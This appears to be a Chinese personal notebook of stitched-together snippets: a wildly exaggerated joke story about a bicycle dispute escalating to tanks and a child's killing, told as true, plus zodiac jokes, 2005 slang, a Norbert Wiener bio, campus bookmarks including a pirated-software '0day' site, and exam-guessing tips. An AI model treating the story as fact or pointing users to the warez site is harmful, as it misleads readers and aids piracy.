什么啊，反正我没看出来）\n\n然后那个凤凰的主子就喘着大气下来了，一看破车给“小jj”尿了道痕，什么也没说啊，咣咣就给了那小孩两脚！哎哟，都踢在下面，那个缺德劲，要是我nb我就踹他去！\n\n然后那小孩他奶奶就打了个电话，并且把那个破凤凰的家伙给拽住，反正他没得走了！（这个是屋里面吃东西的时候看到的）\n\n大概15分钟（我吃完出来了），一看门口当道停着好像40、50辆车，都是什么奔驰宝马级别的，还站着150－200个人，整条马路都堵塞了，那叫一个nb！！！\n\n那个小孩他爸（后来判断出来的）很客气的说：我们小孩划了你的车，是我们不对，你这车多少钱买的。\n\n那个人回答：200块钱（kao！真吭人！）\n\n他爸说：现在值多少？\n\n那个人：160块钱（cao，扯淡！）\n\n他爸：那行，到车的后背箱数160块钱\n\n那人估计当时也sb了，就乖乖的跟着他数了160块钱。真nb\n\n然后，那小孩他爸说：把那车给我砸了！\n\nkao！凤凰啊！\n\n结果那跟着的100多个人就回车里取了斧头榔头日本刀，把那凤凰给砸了！\n\n还是那句！凤凰啊！！！！\n\n那个骑凤凰的家伙当时彻底sb了，p都不敢放！我也是吓的不知道走开了！\n\n半天之后车彻底报废！\n\n然后那小孩他爸说：车的事，咱们解决了！接下来你打我小孩的事，咱们该说说了！我小孩可比车值钱多了！一个巴掌500w，你看着办吧！\n\nkao！我当时就傻了！估计那凤凰车主子魂都没了！\n\n就这时候，他突然哭了出来，“tmd，我骑了10年的凤凰呀！”\n\n然后那骑凤凰的就打了个电话，并且把那个开奔驰的款爷给拽住，反正他没得走了！\n\n大概15分钟，门口当道一下停着好像400、500辆坦克，都是什么m1、m2级别的，还站着1500－2000个人，都拿着ak，半个城市都堵塞了，那叫一个nb！！！\n\n那个骑凤凰的小妾（是个很可爱的佳丽，后来才知道是他的小妾）很客气的说：我家主人踹了你的小孩，是我们不对，你这小孩值多少钱？\n\n开奔驰的款爷回答：妈的，我家小孩不卖的（kao！真吭人！）\n\n那小妾说：出个价吧\n\n开奔驰的款爷：妈的，200亿你出的起吗？出的起我就给你废！（cao，扯淡！）\n\n那小妾说：那行，到车的后背箱数200亿\n\n那人估计当时也sb了，就乖乖的跟着她数了200亿。真nb\n\n然后，那小妾说：把那小p孩给我废了！\nkao！小p孩啊！\n\n结果那跟着的1000多个人就回车里取了m4 c4 ak b51 喷火器 反坦克导弹，把那小p孩给废了！\n\n还是那句！小p孩啊！！！\n\n那个开奔驰的家伙当时彻底sb了，p都不敢放！我也是吓的不知道走开了！\n\n半天之后小p孩彻底蒸发了！\n\n然后那骑凤凰的人说：小孩的事，咱们解决了！接下来你砸我凤凰的事，咱们该说说了！\n\n我对凤凰自行车的感情可比小p孩值钱多了！我骑了十年了，1分钟1w，你看着办吧！\n\nkao！我当时就傻了！估计那奔驰主人魂都没了！\n\n他们走后110就来了，真tmd准，刚走就来，我怀疑……\n\n不多说了，大家就一起震撼一下吧！\n\n我是震撼死了！\n\n有权力，真nb！\n\n绝对我自己经历的！不含夸张水分！\n\n对了，最后那骑凤凰车的，在店门口又买了辆二手破凤凰自行车，带着那佳丽就走了，走前还nb了一句：“告诉你们，不要欺负骑凤凰自行车的人，劳动人民最伟大，不服找我！\n\n===\n\nUpdate one more -.- from lqqm.netb SuperNB\n\n！白羊座\n\n妈妈经常叮嘱羊羊：“穿裙子时不可以荡秋千；不然，会被小男生看到里面的小内裤哦\n！”\n\n有一天，羊羊高兴地对妈妈说：“今天我和小明比赛荡秋千，我赢了！”\n\n妈妈生气地说：“不是告诉过你吗？穿裙子时不要荡秋千！”\n\n羊羊骄傲地说：“可是我好聪明哦！我把里面的小内裤脱掉了，这样他就看不到我的小内裤了！”\n\n金牛座\n\n卖瓜小贩：“快来吃西瓜，不甜不要钱！”\n\n饥渴的牛牛：“哇！太好了，老板，来个不甜的！”\n\n双子座\n\n妈妈叫双双起床：“快点起来！公鸡都叫好几遍了！”\n\n双双说：“公鸡叫和我有什么关系？我又不是母鸡！”\n\n巨蟹座\n\n公车上，蟹蟹说：“今晚我要和妈妈睡！”\n\n妈妈问道：“你将来娶了媳妇也和妈妈睡阿？”\n\n蟹蟹不假思索：“嗯！”\n\n妈妈又问：“那你媳妇怎么办？”\n\n蟹蟹想了半天，说：“好办，让她跟爸爸睡！”\n\n妈妈：“！＠＃＄％︿＆＊（……—”\n\n再看爸爸，已经热泪盈眶啦！\n\n狮子座\n\n狮狮去参加奶奶的寿宴。到了吃寿包的时候，狮狮问：“我们为什么要吃这种像屁股的寿包？”\n\n众人听了脸色大变。\n\n接著狮狮拨开寿包，看看里面的豆沙，说：“奶奶，快看！里面还有大便！”\n\n众人晕的晕，吐的吐。\n\n处女座\n\n处处对肚脐很好奇，就问爸爸。\n\n爸爸把脐带连著胎儿与母体的道理简单地讲了一下，说：“婴儿离开母体之后，医生把脐带减断，并打了一个结，後来就成了肚脐。”\n\n处处：“那医生为什么不打个蝴蝶结？”\n\n天秤座\n\n父亲对天天说：“今天不要上学了，昨晚．．．你妈给你生了两个弟弟。你给老师说一下就行了。”\n\n天天却回答：“爸爸，我只说生了一个；另一个，我想留著下星期不想上时再说！”\n\n天蠍座\n\n蠍蠍刚睡著，就叫蚊子叮了一口。\n\n他起来赶蚊子，却怎么也赶不出去。没法，便指著蚊子说：“好吧，你不出去我出去！”边说边出了房间，把门使劲关严得意地说：“哼！我今晚不进屋，非把你饿死不可！ ”((嘿嘿**好好笑-0-"))\n\n射手座\n\n射射：“爸爸，为什么你有那么多白头发？”\n\n爸爸：“因为你不乖，所以爸爸有好多白头发阿。”\n\n射射：……（疑惑中）\n\n射射：“那为什么爷爷全部都是白头发？”\n\n爸爸：！＠＃＄％︿＆＊（……\n\n摩羯座\n\n一天，羯羯跟妈妈上街；走在路上，突然下起雨来。\n\n妈妈拉过羯羯的小手，说：“下雨了，快往前跑阿！”\n\n羯羯慢条斯理地问：“那前面就不下雨喽！？”\n\n水瓶座\n\n瓶瓶问妈妈：“问什么称蒋先生为『先人』？”\n\n妈妈说：“因为‘先人’是对死去的人的称呼。”\n\n瓶瓶说：“那去世的奶奶是不是要叫『鲜奶』？”\n\n双鱼座\n\n爸爸给鱼鱼讲小时候经常挨饿的事。\n\n听完後，鱼鱼两眼含泪，十分同情地问：“哦，爸爸，你是因为没饭吃才来我们家的吗？”\n\n引用自 飞逸MM\n\n2005年度语文\n\n今天在《读者》上看到好文一篇.\n“黄吉伟2005年度语文”.\n非常地赞！\n挂在嘴边的词汇被他罗列个尽，果然是强人.\n在网上搜出此文,贴如下:\n\n★超级名词：【偶】\n\n★超级量词：【砣】\n\n★超级代词：【丫】\n\n★超级副词：【灰常】\n\n★超级助词：【滴】\n\n★超级拟声词：【呸】\n\n★超级感叹词：【晕】\n\n★超级动名词：【博】\n\n★超级形容词：【粉】\n\n★年度热烈词组：【超女】\n\n★年度疯狂词组：【ＰＫ】\n\n★年度歆羡词组：【政治福利】\n\n★年度肉麻词组：【互粉】\n\n★年度睿智词组：【类(女支)心态】\n\n★年度篡改词组：【过劳模】\n\n★年度唏嘘词组：【业内漂泊者】\n\n★年度关注词组：【审萨】\n\n★年度惊惧词组：【禽流感】\n\n★年度鬼马短语：【我到百度上去ｇｏｏｇｌｅ一下】\n\n★年度伤神短语：【街上没有兵，没有马，却兵荒马乱】\n\n★年度装蒜短语：【我不希望红到脸盆上都是我的照片】\n\n★年度暴笑短语：【这年头，抢银行都得骑自行车】\n\n★年度孤绝短语：【我觉得我活得像一句废话】\n\n★年度伤心短语：【穷人的身体富人的床】\n\n★年度时髦短语：【人不链我，我不链人；人若链我，我必链人】\n\n★年度仇恨短语：【我连撒尿都不朝着那个方向】\n\n★年度悬疑短语：【我一直怀疑他这张遗像是穿着防弹背心照的】\n\n★年度美好短语：【我的钱正在来我家的路上】
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psychology:\n*[[外显行为]]\n*[[内隐行为]]
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被观察着由于意识到自己别观察而引起的行为上的改变.
诺伯特·维纳（Norbert Wiener）（1894年11月26日—1964年3月18日），美国应用数学家，在电子工程方面贡献良多。他是随机过程和噪声过程的先驱，又提出了“[[控制论]]”的一词。\n!（部分）作品\n* 《行为、目的和目的论》\n* 《控制论:或关于在动物和机器中控制和通讯的科学》\n!自传：\n* 1953年 Ex-Prodigy: My Childhood and Youth（旧神童：我的童年与青年时代）\n* 1956年 I am a Mathematician（我是数学家）\n\nP.S. 教材中的韦弗(Weaver)即为此人，书中英文中文都错了。汗……
晟晟的delicious\nhttp://del.icio.us/jonathangonse\n字体站\nhttp://5000fonts.net.ru/\nhttp://neatfonts.com/\nhttp://www.dafont.com/\nPS站\nhttp://www.psbrushes.net/\nhttp://thepluginsite.com/resources/freeps.htm\nhttp://www.franklazaro.com/downloads/\nhttp://www.atncentral.com/download.htm\n图片站\nhttp://www.flickr.com/groups/wallpapers/\nhttp://webdev.yuan.cc/lfvr/\nhttp://yotophoto.com/\nhttp://www.everystockphoto.com/\nhttp://beta.zooomr.com/\nhttp://www.yupoo.com\nU盘软件收集站列表\nhttp://www.portablefreeware.com/\nhttp://green.crsky.com/default.html\nhttp://portableapps.com/\n免费数码冲印\nhttp://da-xiang.cn/\n英文原版书库\nhttp://dwalin.ru/books/\n0day资源发布站（内网上有镜像ftp，链接在缘网上）\nhttp://0daycheck.eastgame.net/0day/\n缘网网络导航\nhttp://luckweb.8866.org/navigation/Index.html\ncc98论坛\nhttp://10.71.45.98/\n海纳百川\nhttp://bbs.zju.edu.cn/\n城院之家\nhttp://zucc.zjxinyu.com/\n杏林纵横\nhttp://www.cmm.zju.edu.cn/student/bbs/\n浙大网络安全前线\nhttp://easybar.8866.org/~nick429/bmb/index.php\n 浙江大学学习网\nhttp://10.71.98.45/\n浙江大学档案馆\nhttp://www.acv.zju.edu.cn/\n浙江大学图书馆\nhttp://libweb.zju.edu.cn/newportal/\n万方数据（会议论文）\nhttp://10.15.61.242:85/hylw/pacc.htm\n教育网资源\nhttp://www.eol.cn/10ms/\n万方数据（法规）\nhttp://10.15.61.242:85/claw/claw-js.html\n城市理想（new）\nhttp://10.61.2.62/\n一夫\nhttp://10.61.16.222/\n城院图书馆资源区\nhttp://10.61.2.240/News/Show.asp?id=531\nYingshow\nhttp://10.61.31.222/Movie/index.asp\n维普数据\nhttp://10.15.61.241:8080/index.asp\n子曰电影\nhttp://www.ziyue.com/\n热带雨林\nhttp://xlmusic.3322.org/\n金桥英语\nhttp://10.61.3.40:8077/\n学生信息系统\nhttp://10.61.10.11:7777/\n黄金书屋\nhttp://10.15.61.202/GoldBook/index.html
在自己认为已经达到掌握知识的程度时继续学下去。
*全部匹配-》部分匹配\n*看全所有选项\n*跳过没把握题，期望之后的题能“带”出记忆\n*排除法\n*猜题避开最长和与上题相同答案\n*第二次选择得分可能性高，怀疑就要改。\n*给各选项打分，取最高的